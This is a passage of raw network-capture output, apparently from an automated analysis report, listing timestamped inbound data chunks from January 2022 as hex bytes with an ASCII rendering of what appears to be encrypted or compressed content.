86 9f 68 a4 35 7c 88 95 02 fe a2 f1 57 90 60 6b d4 c5 6e f8 78 5a d3 49 4e cf d3 08 51 83 04 96 42 f5 dd 57 d8 ce b4 3f a2 32 Data Ascii: ,,k['i"[hF~O{p4{<_%eZOTE]N7B\|vzo}t--<4h3o&\|uh2im.KQ^sH+%Lxstpvs 9EKc>oos!L*1}G7QY$1E!h5\|W`knxZINQBW?2
2022-01-14 03:59:52 UTC	6718	IN	Data Raw: 9a 4d 43 ef 9f 91 e6 79 31 2d 7a 7f c4 7b 60 c5 2b 14 62 ea 1b f9 fa 12 77 e9 4a 09 97 19 1b 7a a2 0a 22 14 bf 22 66 13 cf 38 84 a1 01 99 d6 f9 d6 de 7a de 69 8d 8a 8d 7e 63 dd ca cd 57 f7 fa 17 99 67 1f 2a 7c 90 a0 c4 f8 7d 67 af 10 84 07 56 e9 58 86 4e 48 01 49 15 e6 f3 7f ef 79 89 fe 11 ac 86 77 9e 60 36 21 01 ad 13 cd a7 b1 86 37 fb 61 ce d1 67 f8 69 cc db 0e c7 f8 09 2a 17 f7 d4 c9 53 41 1d b9 f3 0e 2e e4 c9 c5 5e 7b 54 06 f2 f6 37 f6 d2 95 74 55 0f ea 43 87 da 4f 7b 31 2f e2 cf 9c d0 7f 63 b2 b9 2b ad d0 9a 60 5e 9a 5b e7 40 9d d2 fc 67 37 ac 2b 7c 16 04 d3 09 7b 84 51 e9 51 1a 27 19 3a 31 1b 1c f3 1e 08 1d bc 42 c1 d8 26 d3 d3 f6 b8 68 a5 52 a2 99 68 87 1c 2f b3 e6 f7 b7 49 f6 5a a5 a4 57 38 9d 05 dc 74 74 d7 56 73 29 ed 73 c8 e8 59 80 1c de bf 97 Data Ascii: MCy1-z{`+bwJz""f8zi~cWg\|}gVXNHIyw`6!7agiSA.^{T7tUCO{1/c+`^[@g7+\|{QQ':1B&hRh/IZW8ttVs)sY
2022-01-14 03:59:52 UTC	6734	IN	Data Raw: 65 aa 9e 16 75 d2 f8 01 ff 5e c5 7d 42 3a c2 3e b1 e3 6d 6e ed 2e c1 c5 19 98 7a 6d 21 e8 b6 ef fd 7a 19 5b 2f 2c db 4f 15 1c 22 c7 56 7e ea 87 59 70 26 d3 2f fd 17 a3 b0 03 6f 03 25 fe 4b 3c 8f 87 0a 16 96 7a eb d8 92 81 3f 3a 9e 66 9a a1 71 32 9a 0d fb 81 9b 2f d2 96 b5 4d df 44 f7 a8 11 44 a1 0d 42 82 a3 01 93 01 d5 2d 2b 6a c4 e0 dc 4c 71 34 58 0b 98 33 7c fe d8 bc 4e 50 fa d8 f5 26 b5 e8 0b 36 e2 cc fa 39 79 94 1b 5d 50 a9 b7 9c 02 5f 5b ac 58 bb 56 fd 75 67 a1 67 3e ce 6b c3 ed 2e 0a 89 f2 19 f5 e8 9d 52 5f 67 4a a2 65 33 af 35 94 f9 01 a6 1f 41 09 39 9d 60 41 1b 77 b4 2a 2d 6d 27 dc ea 6d a6 f2 d3 6e a4 64 ac 2b 7a e6 fb 51 58 2c bc 30 06 04 c1 d6 15 aa ac 2f 1a ad 6c ef 89 9b 9a 54 e0 6d 59 56 95 8c 70 4e 64 7a d9 10 91 f7 b6 63 5f bd 79 4c e0 b8 Data Ascii: eu^}B:>mn.zm!z[/,O"V~Yp&/o%K<z?:fq2/MDDB-+jLq4X3\|NP&69y]P_[XVugg>k.R_gJe35A9`Aw*-m'mnd+zQX,0/lTmYVpNdzc_yL
2022-01-14 03:59:52 UTC	6750	IN	Data Raw: d4 ee fe 05 26 f9 25 aa 21 95 ef 62 ca a5 28 82 53 08 6f f7 38 a3 97 93 04 48 19 38 8d 93 48 35 9e a4 ef ff 3c 68 4a 5e 07 65 c6 fa 68 bc a7 f9 a0 39 ca 13 19 72 27 b2 8c e0 53 9b 22 9d 6e 96 2b a5 23 8a 14 37 e0 b2 cf 1b 7b 0a 58 56 b6 9e 46 c6 d8 3b c3 03 76 7f 6b 7e b9 c3 b6 e6 6e a3 a7 de 8c 99 43 71 12 66 83 97 f9 be 40 c3 a7 33 9a a0 62 ba 12 ce 49 b9 e0 53 3f 5f 9e 31 ea bb de 4c 48 50 ee 91 96 39 b7 66 e0 bc bd c4 ee 5f fd 72 e1 d4 ca 8b 41 1e 8e 42 a7 c7 b3 4c a4 97 dd 44 3e 68 ca 41 6c 6b a6 5c 29 cd 9b f8 28 3d e5 f4 1a 00 8e f3 e6 47 1d 9f 30 16 74 79 8e 71 2c a4 5e ba 44 b7 a7 92 48 90 47 5e 21 eb 62 9c 2b a1 db 09 84 71 5f a9 09 9b 1f 80 c1 35 14 4d 58 ef d2 da 16 56 23 f7 07 54 32 10 67 58 7c 9d 15 85 b9 c1 c5 19 10 81 ea 8b 20 c9 a0 a7 ed Data Ascii: &%!b(So8H8H5<hJ^eh9r'S"n+#7{XVF;vk~nCqf@3bIS?_1LHP9f_rABLD>hAlk\)(=G0tyq,^DHG^!b+q_5MXV#T2gX\|
2022-01-14 03:59:52 UTC	6766	IN	Data Raw: 50 90 d4 dc 4c 52 77 06 4e c2 ea 91 67 04 c5 e2 cd 45 5f 97 77 5d b0 3d 42 e3 de 8f 85 08 f4 07 f7 7d e2 a7 ea 36 ae 56 02 8b e2 f3 2e 67 fb 69 89 b9 dc 6f f8 a5 aa ba d2 82 71 01 d5 df 13 8b f2 40 db 07 b9 59 15 5f a2 5f 48 8a d9 46 44 15 91 47 bf 0f a2 40 16 67 06 78 17 cd 8e 86 d4 bf 28 63 c0 e8 ca aa c8 f4 da c5 50 c6 16 f6 23 40 f0 01 dd 72 53 1f c6 67 43 69 44 be 25 71 28 b6 ac ff 23 03 66 45 b7 24 9e 00 2c 2e 9a 76 44 ea 9f 1c 1f 6d ec 02 6d 02 0a a9 5d a1 e6 30 7f 1a 36 9f b5 1b a5 88 13 ba 71 b5 d2 8a ef 57 3e 70 46 a7 d9 74 a8 af 42 5d 02 bc f2 5e c6 64 f1 94 4f 4c ed cd 46 5b f9 e4 fe 4a b9 e3 b5 0e 9b d0 51 fa a0 f0 ed 6a 07 3b 43 1b bc e9 65 d6 15 c5 36 d8 09 c4 61 d0 b3 a8 c2 f6 80 63 7c 33 21 ef f7 e7 fb 8b 90 1f 76 8e cf 61 e3 b3 ff aa c3 Data Ascii: PLRwNgE_w]=B}6V.gioq@Y__HFDG@gx(cP#@rSgCiD%q(#fE$,.vDmm]06qW>pFtB]^dOLF[JQj;Ce6ac\|3!va
2022-01-14 03:59:52 UTC	6782	IN	Data Raw: 3f c1 2f 25 52 5e f8 47 63 ef ec e7 11 5f 95 b9 56 b7 4c 8b 11 66 c7 18 fa de d5 a2 17 70 fd 1c 8c 6f 0b 04 34 68 aa 26 4b 7d ea e4 87 08 ed 1b ac b6 4e 9f 2e 2c c0 e0 b4 31 12 54 15 e2 d0 fd e3 e6 72 e5 f6 81 96 ff 96 d8 8a 06 79 03 71 0b f2 8f d3 37 18 1b ce 1c 34 7b 17 b9 af 77 70 b3 23 35 6d 90 c9 a6 47 27 55 7f 73 75 23 7a 2a d9 e1 51 00 d7 ef ef 30 86 ed 2d b2 aa 31 0f 79 ff 93 53 5d cb 4b 48 6e 7f dc c5 67 31 98 a9 08 fd cb ac 05 25 cb 85 da 8d 94 9a 70 71 f6 2c 47 16 c3 55 80 d7 bc 2d 40 7b 32 02 8d 2c 11 0a e6 ac 78 95 4b 60 1e 74 56 81 e4 04 47 71 1a eb ce 14 e8 8f 57 b9 a2 c6 e9 e0 6b 0b ba fd 57 ea 71 28 8c 2a a2 c5 a1 71 38 de 68 b1 34 13 70 c9 b6 b2 8e 95 74 73 52 ca ba 8a 42 73 f1 69 9d fe 37 2d d5 74 73 0f e0 f7 2e 0f e9 27 02 14 20 50 6d Data Ascii: ?/%R^Gc_VLfpo4h&K}N.,1Tryq74{wp#5mG'Usu#zQ0-1yS]KHng1%pq,GU-@{2,xK`tVGqWkWq(q8h4ptsRBsi7-ts.' Pm
2022-01-14 03:59:52 UTC	6798	IN	Data Raw: 9f c8 79 08 f0 59 8e a7 c6 f6 e7 0d af 83 8f 04 91 f4 7b f6 8f 13 63 7e 8e df 9c 0d d2 89 d9 d3 ee 08 d2 cf 61 7f 90 01 d7 9a ce 1d 04 33 94 93 2b 55 b3 5b bb f8 86 fa f7 cf 3d c1 51 5d db a8 ab 46 d1 ea 5b 1d c4 ef ae 7b 36 e0 b7 43 c4 1b a2 56 be b7 95 80 e2 da 96 22 3a bc a7 0c 2a b9 97 d0 a3 79 27 8f 5c 48 de 67 01 54 cf 09 ad 37 4c dd 8c 09 b8 88 f6 1f 8b ba 5b e0 84 80 53 0d f7 30 43 04 ac f1 b0 07 42 8a 7b 65 e9 19 5f 5f 20 20 63 83 77 96 58 17 83 41 c2 fa 79 2a a5 71 40 ae 66 2a 57 c0 d7 cf 62 c8 2f c4 2f 85 30 61 b2 a2 e6 70 1d 6f 5e 21 ac a2 aa 6e 08 17 fd 51 6f 10 fe 86 10 69 8b 32 b5 39 7c 41 b5 22 a0 34 a9 ab cf ac ea 14 8e dd 07 5f 15 96 ca 5a 34 e3 13 9f 20 94 48 30 14 e8 c2 c9 99 60 34 53 5a 8b 94 a6 99 3a c1 3c 02 0d b2 f4 b6 fe 22 ae 8b Data Ascii: yY{c~a3+U[=Q]F[{6CV":y'\HgT7L[S0CB{e__ cwXAyq@f*Wb//0apo^!nQoi29\|A"4_Z4 H0`4SZ:<"
2022-01-14 03:59:52 UTC	6814	IN	Data Raw: da da 20 48 c7 cf db 9d d9 57 2a 75 78 44 aa c8 49 17 67 07 f1 81 63 bc 7e 71 19 60 ab a7 95 37 87 af 2b 51 37 63 0c d1 05 e6 a8 e1 a3 83 dd 46 d9 b0 b9 d8 87 67 21 8f 2d ea 88 cd 96 9a 86 b1 a2 9d ca 1f 70 37 52 d6 cc 7a 92 33 1a b3 bf 09 64 e9 d5 9d 07 ac b1 c4 c9 c1 9a 8a 68 0a c7 a9 17 30 2d 07 f0 f3 81 35 0f e0 e3 99 dc 23 bc 15 8c 09 91 7d 8e 2e af b4 84 f2 0d c4 ce aa 56 ee cd f8 87 47 30 74 18 cd 6e 9d cb f4 a8 c5 23 a4 1e db 1b 59 f0 6f a4 05 42 8f 9c 73 65 2d a5 84 78 1f 03 ce d3 aa 96 e1 5d 52 c6 bd ab 00 bf 8b 63 f5 85 bc c2 7b f4 b8 8f ef 42 74 83 7d 9e 29 6e 2f d1 6e 5f 87 dc bb 5e 89 35 0a fa 8d 0c 50 86 cd 8a 10 76 31 70 58 b2 57 2b 2d 88 c2 30 aa b1 7a aa 0b c4 63 32 5e 39 71 7b b2 90 e5 e4 b3 5b cd 29 94 58 62 9e 57 d7 26 83 2a 72 22 d3 Data Ascii: HWuxDIgc~q`7+Q7cFg!-p7Rz3dh0-5#}.VG0tn#YoBse-x]Rc{Bt})n/n_^5Pv1pXW+-0zc2^9q{[)XbW&r"
2022-01-14 03:59:52 UTC	6830	IN	Data Raw: ad f3 08 5f fc c0 37 9f 1a e2 c9 e1 81 e8 31 82 43 ef 39 27 2b 4f a0 a5 f1 18 9c bb 1c 0d e2 03 e9 5b 23 51 59 7e fa ff f7 80 95 a0 e9 59 79 79 c6 8e c0 08 54 b5 08 f8 3c 4b 60 3a bf 61 f1 8a 32 13 c5 70 6d 3f 4d a1 82 e3 cc 7e 6d 2e 93 f4 09 26 12 e5 f4 c4 41 87 90 84 cf 15 bf b8 de 4a 42 04 b8 54 43 e0 ff e0 dd 25 4f 7b 9d 92 e4 81 b6 0d 0d 3c bf dd 78 78 3a 49 58 6c d7 40 a1 0b 47 db 1a b1 55 5c d0 b3 c5 6b f3 a6 2f 99 8d 20 c7 41 6f 4a d8 ca 89 b9 f3 75 02 db 04 6a 63 19 47 6e 32 fb bd d7 8d 78 91 1a cb 77 40 63 9c d9 81 6a 7f 86 85 9a e2 3e a7 3f 71 bf 33 4e 4a b9 e4 6e 5a 6c 29 eb 42 79 ff e1 4d 22 fa 3f b5 db d8 8f 21 8b c5 a6 20 02 63 f4 a9 b0 a9 2a 8f a3 2b 77 03 7e 3a c5 4c fe be a7 f8 2e 52 f2 52 72 94 85 44 2a d2 26 8c 13 b7 64 84 b0 78 24 4f Data Ascii: _71C9'+O[#QY~YyyT<K`:a2pm?M~m.&AJBTC%O{<xx:IXl@GU\k/ AoJujcGn2xw@cj>?q3NJnZl)ByM"?! c+w~:L.RRrD&dx$O
2022-01-14 03:59:52 UTC	6846	IN	Data Raw: db 3b de e5 bb c1 b6 e2 06 cf 03 77 39 aa 87 92 16 1c a8 55 f1 60 db 79 d7 8d 70 27 24 2b e8 25 6f 8a b8 18 72 69 48 54 46 17 cb d4 fd d9 16 b8 97 b3 89 7d 59 18 38 91 46 06 8d 4f 13 75 e0 94 ab 5e 57 53 90 68 8d c7 be a3 6f 2d ad 94 d5 07 55 60 17 ac d9 d9 18 6c c8 8c b3 ef d8 ad 20 cf 42 6f 65 ec b9 e5 67 47 4a 8a d1 da d9 ed 5a e3 c1 0e 34 c6 5d eb b2 c2 16 96 fd 00 5d d0 79 3c d3 6c 77 6e 54 a0 c8 f6 38 25 eb c1 5d 64 45 8d 23 58 a8 f6 d8 f4 29 89 16 b1 26 47 15 69 5b cc 79 ad 5a f8 e1 77 8c ca 34 96 5a 3e 8d 04 f5 41 48 48 66 fa 6f 81 c6 97 e5 82 47 e2 ae 22 06 23 77 9e 35 c4 1c fa 33 69 90 65 91 f0 d1 6c f9 6a 0f af 26 1f 3b d8 4d cb 80 64 ab 9e 6d b5 ae f8 59 43 0f 14 71 70 65 1d 3c 0a 03 d9 45 05 f8 2d 80 42 44 89 06 50 6f ab a8 ff b8 b8 23 98 3a Data Ascii: ;w9U`yp'$+%oriHTF}Y8FOu^WSho-U`l BoegGJZ4]]y<lwnT8%]dE#X)&Gi[yZw4Z>AHHfoG"#w53ielj&;MdmYCqpe<E-BDPo#:
2022-01-14 03:59:52 UTC	6862	IN	Data Raw: a5 d5 2b e0 c3 c9 eb 7f e2 e1 dc c3 11 2f 2c 17 ef 9f 2b a4 d8 0e 5f 4f b6 88 30 a7 2f cd 57 62 4a 34 8d 24 cd 77 f9 47 fc 67 f4 58 e1 58 2a b8 0e 7b f9 42 f1 c5 aa cc 23 d9 ac 65 29 60 2a c3 36 08 11 b5 98 1a d0 03 d0 1e b6 ae 97 51 0a 40 ff 05 f3 00 00 3c 8a 3c 5d f4 67 35 4c ea a2 dd 82 d7 c6 6d 63 58 be 57 58 c2 9b 36 37 21 f2 57 d5 ed e3 32 5a fa 24 66 32 44 bb f4 85 a8 54 08 6c 86 4d 74 a1 b6 a6 a2 d8 b2 9b 30 60 0e bd ca 15 9b b3 37 6c c3 f9 4d fc 0e f2 cc 0a 04 15 67 4b a7 8a 9c 74 6d ff 1e 9a e2 d6 dc 81 a2 47 59 49 b5 df ca 02 5b 71 e1 9a ce 06 4f b4 0c 73 b5 a3 3c e6 7a 9b 56 52 61 ce 2e fb 89 73 bc 03 67 85 4e b8 0e 29 9b f0 e6 d7 d2 1f 71 0f 07 d2 d8 d5 56 20 6c 54 7f 5c 44 d1 cf 26 6d 60 e8 7e 14 93 0e ce e2 94 92 39 96 81 3a 13 32 01 bc 88 Data Ascii: +/,+_O0/WbJ4$wGgXX{B#e)`6Q@<<]g5LmcXWX67!W2Z$f2DTlMt0`7lMgKtmGYI[qOs<zVRa.sgN)qV lT\D&m`~9:2
2022-01-14 03:59:52 UTC	6878	IN	Data Raw: df 9e c1 d9 6f c1 e6 62 9b ba ef 35 46 04 f2 79 15 85 55 46 6b 88 ac 2d 99 f5 ff 46 8a 3e 1f 77 85 52 c1 a2 26 98 99 13 91 f2 81 44 0a 7d fb f9 de ee 50 84 c6 10 d5 47 a9 9e ef 85 16 a5 64 67 12 d0 37 60 98 36 b3 fb 03 af 9a ad 07 45 4a 92 c5 20 4a d5 f0 d6 67 70 b5 b7 ef 33 38 e4 fe ad 8c 34 12 17 10 99 cc 86 8b 7f a2 70 70 94 f0 7b ef fb 41 6d ed 4d 52 a5 5f 22 32 9a cd 07 81 e6 bc 70 24 fe c4 d9 da 9f 14 78 fe 5e 46 eb 01 6b 1e 90 d2 99 c5 6c a6 36 d7 ce c4 ad 50 ba 35 12 c1 66 08 78 d0 19 43 be 16 99 3b c5 d6 ba 36 ab 35 e0 d5 5e 7b 26 d7 fe e8 c5 68 41 24 01 3e 0d cd 97 60 7a 3c b4 39 d3 6a dd 10 c3 6c f3 6a 92 50 87 a7 ec 93 77 f3 f8 e9 d2 16 69 8a 7d 9f e4 d9 4e 3a 3f f2 0a f6 a9 17 d5 77 1e 50 35 e7 05 d7 92 31 cb ca f3 ba 31 0e a5 2f e7 ed d8 e8 Data Ascii: ob5FyUFk-F>wR&D}PGdg7`6EJ Jgp384pp{AmMR_"2p$x^Fkl6P5fxC;65^{&hA$>`z<9jljPwi}N:?wP511/
2022-01-14 03:59:52 UTC	6894	IN	Data Raw: a0 46 ec d3 b9 e0 69 7b 16 ca da 6d ec 0e 57 0a 50 94 61 4f fa 71 81 28 48 a5 92 bf c7 2c 73 8e 3f 5d 29 51 0d 04 4f e8 38 69 11 52 02 a6 a1 72 ef ac 44 c4 bf c4 65 7b ff ea c0 55 4c de 54 df c7 33 33 16 a6 33 6b 31 4a ee 59 31 40 eb 46 1d 6f 30 23 4b 2b ca f5 4e 35 ba 70 d2 b0 27 26 a2 66 7f 9b ac 95 cb e9 5f e5 28 92 f2 44 69 d7 2d e9 83 51 e9 17 18 63 c9 99 67 35 58 a8 5e d3 a7 55 32 69 c7 c7 04 1b 3d fa b9 b5 1f f0 71 81 fa 90 80 f6 4c 0b 51 59 3e 68 e2 c2 b6 56 d3 69 54 b4 94 99 79 bf b9 a8 83 9c 4e 0f 51 da bb 5c fa 87 c9 ba 21 64 43 de d5 f5 77 f0 58 d7 35 e7 6d e9 e3 62 76 e8 28 1e 79 27 b2 a7 3f 21 12 2d d2 a8 e1 4a 82 2b 1c 35 c0 53 a6 d7 f0 d1 47 9e 46 8f 86 56 af 8d f9 20 cd b1 ba 58 8b 9b b5 29 eb de 7e ef 81 bf a6 23 e3 ca 49 06 ff e8 96 d7 Data Ascii: Fi{mWPaOq(H,s?])QO8iRrDe{ULT333k1JY1@Fo0#K+N5p'&f_(Di-Qcg5X^U2i=qLQY>hViTyNQ\!dCwX5mbv(y'?!-J+5SGFV X)~#I
2022-01-14 03:59:52 UTC	6910	IN	Data Raw: 0f e0 d3 46 b5 9a 9b 99 d3 28 82 59 27 56 f5 81 66 06 b3 24 b3 84 90 5a e0 d7 52 ed 83 4a 90 11 8d d2 96 71 54 0e c8 5f c3 54 53 a4 22 13 99 72 3c 51 44 00 d4 1c 24 66 a0 74 0a d4 fc 88 7a fc 41 44 7a 3a df 74 e6 2d c4 c3 ec 88 00 c2 40 06 62 9b 27 02 d9 7a 67 12 97 c5 cd f1 84 fc 90 3a 0d 8a 84 93 3f c2 53 26 fc 7f f1 28 5b 9e 43 2f 0e 77 4b 58 99 e4 7f 46 3c 28 57 cb a0 a6 a2 b1 9a 03 15 25 71 a4 77 88 31 18 fd 42 ec fb de aa 46 3d 98 ff 64 9f cb 07 7e 5c 7c c9 1a 04 b5 71 8b f0 bb c5 28 5b 31 99 db e3 06 7c c3 ad 80 87 be e6 55 33 57 41 f2 ac b3 d1 c3 cb 6d 80 32 be cf f7 11 8d e8 4d bd cc e6 e6 d1 33 db 4e 1f bc 0e 60 12 74 86 cb 7e c9 d3 f6 b0 cd 65 4d c6 af 77 d8 eb ce a9 09 a9 72 d5 08 61 ab 3a 8d 14 a4 89 41 fa f7 47 6d b7 e6 2d 2f 47 eb c6 30 55 Data Ascii: F(Y'Vf$ZRJqT_TS"r<QD$ftzADz:t-@b'zg:?S&([C/wKXF<(W%qw1BF=d~\\|q([1\|U3WAm2M3N`t~eMwra:AGm-/G0U
2022-01-14 03:59:52 UTC	6926	IN	Data Raw: 4e f3 3f b6 2c e6 49 bf 38 08 ee 58 a2 25 04 73 6f 79 29 4a be 8e a3 e9 7f 7f 7f e8 58 55 d2 0a 66 d4 c8 b4 6d 59 a9 ef 26 97 e8 63 72 6d 40 45 10 52 7c 2c 35 be ba 8b 0e 50 bd d6 57 2a 81 62 2d e4 d7 40 2b c1 87 60 8a 9b e2 7f 36 b0 ea 26 c1 77 be 45 d8 62 9b 6d 47 02 84 cf 64 f8 ac 25 da 9d df 12 3a aa 6f 08 8a 79 10 3b 3f 4d 4f 75 69 54 88 a8 ba 30 9d e7 87 ce 52 b9 87 22 8d 9a c4 1d a0 91 cb 18 2c 34 94 e1 fe 35 e0 47 8c f8 fc cb 85 d7 8e 22 42 0d 8b d2 b3 c6 6e 85 c8 7e 45 4d 5a ad 76 41 70 99 e4 17 35 97 1a cc b1 b7 62 5e 75 45 e6 43 52 84 67 3f da e3 70 68 0d c1 96 b4 d7 3a 91 3d e7 b8 16 7d a8 43 c4 ec 91 1d c2 96 9f 29 46 ab bf eb 8c a0 35 53 f3 5e 8c 53 a8 01 a9 e0 63 7a 41 f7 90 40 54 47 b1 f8 8d 67 5f 67 4d f8 aa 0a bb 10 1f 9a a1 b1 9c 3f 49 Data Ascii: N?,I8X%soy)JXUfmY&crm@ER\|,5PW*b-@+`6&wEbmGd%:oy;?MOuiT0R",45G"Bn~EMZvAp5b^uECRg?ph:=}C)F5S^SczA@TGg_gM?I
2022-01-14 03:59:52 UTC	6942	IN	Data Raw: 82 d1 11 50 5c 2d e1 f0 48 eb 31 48 8f 35 3c 97 03 71 60 20 79 8e 88 13 80 84 21 c1 18 5e 61 6f 93 9c 39 02 ba 35 82 4c bb ed 57 59 7d 87 83 eb 0c d4 84 ab ff 77 7b e1 00 8d d9 58 e8 c3 65 22 ef 47 c7 dc 43 1f 7b 4d 08 ec d4 6d c7 d9 2d 8e ca 22 47 a4 6b f0 5c 3b 04 02 27 e8 14 13 c5 84 06 c9 d0 7f 5b 1d 35 56 f7 ac 88 38 44 98 3c 9c 6f 25 13 c3 1d 1d 7b 8f ce ea 75 bf 57 43 93 a5 53 df 53 72 f9 0c 7f 1a c7 2d fc 6a 04 82 74 4c 76 64 c6 8e 13 69 7f fb 43 04 b1 25 3f 41 1f 70 7b f1 38 cd 8a ba f9 de e2 e3 1a 02 96 0d 7b 0b 94 11 29 75 3b c0 c6 4a 1c b6 16 3a 09 00 0b 3c 05 f1 b8 d6 cb 59 f5 aa 23 7f 24 03 c5 ba 39 4e 28 dd 16 d9 a8 47 7f c2 61 82 dd bd 08 52 ca a7 9d e4 49 7b ca 0b 73 69 e9 1d 57 96 5d ec ba f4 13 fd 86 8d d2 d2 b8 07 36 e9 ae f1 9e 0f 9b Data Ascii: P\-H1H5<q` y!^ao95LWY}w{Xe"GC{Mm-"Gk\;'[5V8D<o%{uWCSSr-jtLvdiC%?Ap{8{)u;J:<Y#$9N(GaRI{siW]6
2022-01-14 03:59:52 UTC	6958	IN	Data Raw: 41 76 ba 5f 80 31 5b 5d 66 6d 3a a4 b9 e8 51 bf f9 a9 7b ce 67 98 33 64 38 d8 1a 3d d7 eb 55 90 3e 09 af 68 5a 98 62 17 a1 a4 61 8d 28 2a 34 a3 f3 33 0c 7c 6a 90 d1 ed a1 1d 3d f2 43 12 8e 14 3a 19 9a e1 0d 5a 5c ac 8d 89 52 8e 37 20 e7 54 7f 76 1f 0e 71 25 96 6f 6c 95 90 30 0b 04 57 1b 2f bf c4 73 b3 7f 2b 87 3c 46 fa 84 63 80 13 13 a6 64 34 df aa 7b e1 35 19 2c 72 a2 8f d0 e1 a8 a8 a5 df 22 b3 ca 59 c8 99 b4 49 a6 09 b2 be f6 81 0d 49 7c c1 26 49 6f 9e 1e 00 9e 95 70 e1 1a 5a 82 cd 43 be 22 90 4b 83 4f 92 e5 e1 83 e1 8e 8e b1 ef ab 4a f5 8d 3e 7b b8 e8 d7 0c a5 cb 59 ba 5a 04 05 19 e1 ec 31 9c 2b 23 2d 9c 1a 67 3c d2 ec 21 d6 3b 8e da 29 a1 9a e7 c5 3c 4a f6 31 01 c1 2d ae 4f 47 a6 15 2a 3c e9 61 53 56 30 81 a9 be 9a 69 97 6c f0 70 04 06 eb 88 61 43 be Data Ascii: Av_1[]fm:Q{g3d8=U>hZba(43\|j=C:Z\R7 Tvq%ol0W/s+<Fcd4{5,r"YII\|&IopZC"KOJ>{YZ1+#-g<!;)<J1-OG<aSV0ilpaC
2022-01-14 03:59:52 UTC	6974	IN	Data Raw: d1 8b 07 a3 58 2c 12 0d 44 ea 1c fe 60 a6 2b 90 b1 7c 54 a3 c0 27 67 7d f7 d8 91 ae 2c 74 8f 58 59 ed b4 e6 dc 97 cd 26 cb 59 87 cb 64 b0 b2 32 3f 50 66 db 70 35 78 90 b8 bf ca db 50 c3 46 61 39 fe 27 b9 28 b1 35 69 c1 d8 15 9d 5a 46 ff 04 83 8a c7 6a 8a 80 9c 09 60 5e 0e 0b 1c d9 a4 f2 5b 4e 16 88 5a a6 32 e4 10 bb 7f fb fd 16 d1 c0 cc c7 1b eb 12 ea 7b d3 ac 71 0a 17 75 f8 44 ab 97 ca a2 c8 74 50 5d b0 5d 71 2f cb 51 4c a6 ce 36 ca 39 f7 7c 2d d0 3d 58 d1 45 73 2c 5a 3f 35 2b ca 7b 6f e9 52 36 cb 98 ae 3a 2d 68 dd a0 ff fe bc a2 bf 9a 79 6b 6c 48 d7 e1 c9 c2 89 32 70 29 8f 86 2b ca f4 88 d8 20 ff 43 b5 1b b9 4b 69 8e b5 ff 5e 37 0b c9 f8 81 24 02 72 4b 95 1a 33 dc cc 82 eb 01 b0 0e 05 4c cc 73 c7 57 ea 53 71 27 0c 5a c7 b4 6c d0 58 c6 be 61 27 f9 1e 38 Data Ascii: X,D`+\|T'g},tXY&Yd2?Pfp5xPFa9'(5iZFj`^[NZ2{quDtP]]q/QL69\|-=XEs,Z?5+{oR6:-hyklH2p)+ CKi^7$rK3LsWSq'ZlXa'8
2022-01-14 03:59:52 UTC	6990	IN	Data Raw: 75 23 8a 8d ff 6c 8b 30 f8 9e 50 45 8e cd 5e 81 32 14 bb 56 94 7e 80 58 a0 f2 4d 47 32 d5 3a bb c9 02 ce 7b 38 d5 b3 9c 30 ad fa 10 0d dd b7 48 82 97 97 f1 ef 75 4b b0 70 ab 07 b1 90 09 b8 37 ce 18 4f cf c9 a3 98 fa 1c 24 d4 af d7 e9 b6 5d be 32 89 33 cd 91 40 95 95 a7 ab 2a 77 2c 03 0d 83 aa 4b 80 03 50 66 02 a8 07 ea 94 6b 2b ea 8b 4c 18 2a 6a 54 a1 64 c3 35 d8 3d 57 9d 0e b4 51 95 9f 3e 1f d9 18 f1 fb e4 aa 7d dc cd 5c 34 d0 21 92 44 ae 17 9e 42 fc 38 dd f8 62 59 1b f1 de 5d a0 f9 e9 00 70 81 1e 1f ef 02 97 fa c1 ac 3a fb ff 49 b0 eb 2c eb f6 80 19 ed dd d9 e1 5e d0 6f 8e 9a 81 b2 57 0f d6 a4 9c b0 d0 ed 15 dc f7 9b da d0 51 d4 8e 1b cf 65 10 fd eb cf 55 c4 d7 2e 71 09 bd 13 8a b7 d4 cf 4c b7 67 b4 e8 ae a2 b3 11 5f 86 4a 1c 98 f1 90 5e 37 43 f5 f5 55 Data Ascii: u#l0PE^2V~XMG2:{80HuKp7O$]23@w,KPfk+LjTd5=WQ>}\4!DB8bY]p:I,^oWQeU.qLg_J^7CU
2022-01-14 03:59:52 UTC	7006	IN	Data Raw: 6e 23 4d 7d 07 45 64 83 4b b4 63 06 0f 77 24 f1 11 77 66 6f 74 ff d8 e3 91 78 01 8a 3f 96 f2 81 8b ff b4 a6 9a 9c 2c af d7 0a b7 74 15 d7 c3 5e 61 1c 9e e4 22 da 88 35 56 03 61 90 a5 de f5 61 20 7f 62 eb 71 cc b2 df 46 c6 05 5c 88 64 05 fb 2a ba 43 2f 8f 9c 28 aa a2 7c a7 62 3d f7 94 c4 da 3e f5 06 30 ef 28 16 72 08 12 a0 42 c1 c7 5d 1d f1 06 7a 07 be 3e 69 9d e9 25 46 64 5c e7 0f 42 a1 bb e1 6f b2 5b d7 a8 9b 7d 6b 08 90 ca 40 d5 d6 58 56 9a a6 6e 88 31 cd b3 b7 e9 2c e6 82 b4 dd ac c7 9e 81 33 14 8c 00 b3 92 c5 c3 93 ff 27 d6 5a f4 0e 38 ac c5 32 f3 c8 95 a5 5e 3f 40 0c 60 f5 6d a4 33 68 21 36 d4 9a 15 f3 03 72 70 47 87 4d 85 ac 71 6f 78 1a 34 3d 51 f3 b3 c6 8a a0 dc 6f e8 23 b2 c8 f9 69 5b 33 f7 67 82 d9 88 48 7a 6f 7e b5 c6 a5 96 fe 03 43 eb 73 dc ca Data Ascii: n#M}EdKcw$wfotx?,t^a"5Vaa bqF\d*C/(\|b=>0(rB]z>i%Fd\Bo[}k@XVn1,3'Z82^?@`m3h!6rpGMqox4=Qo#i[3gHzo~Cs
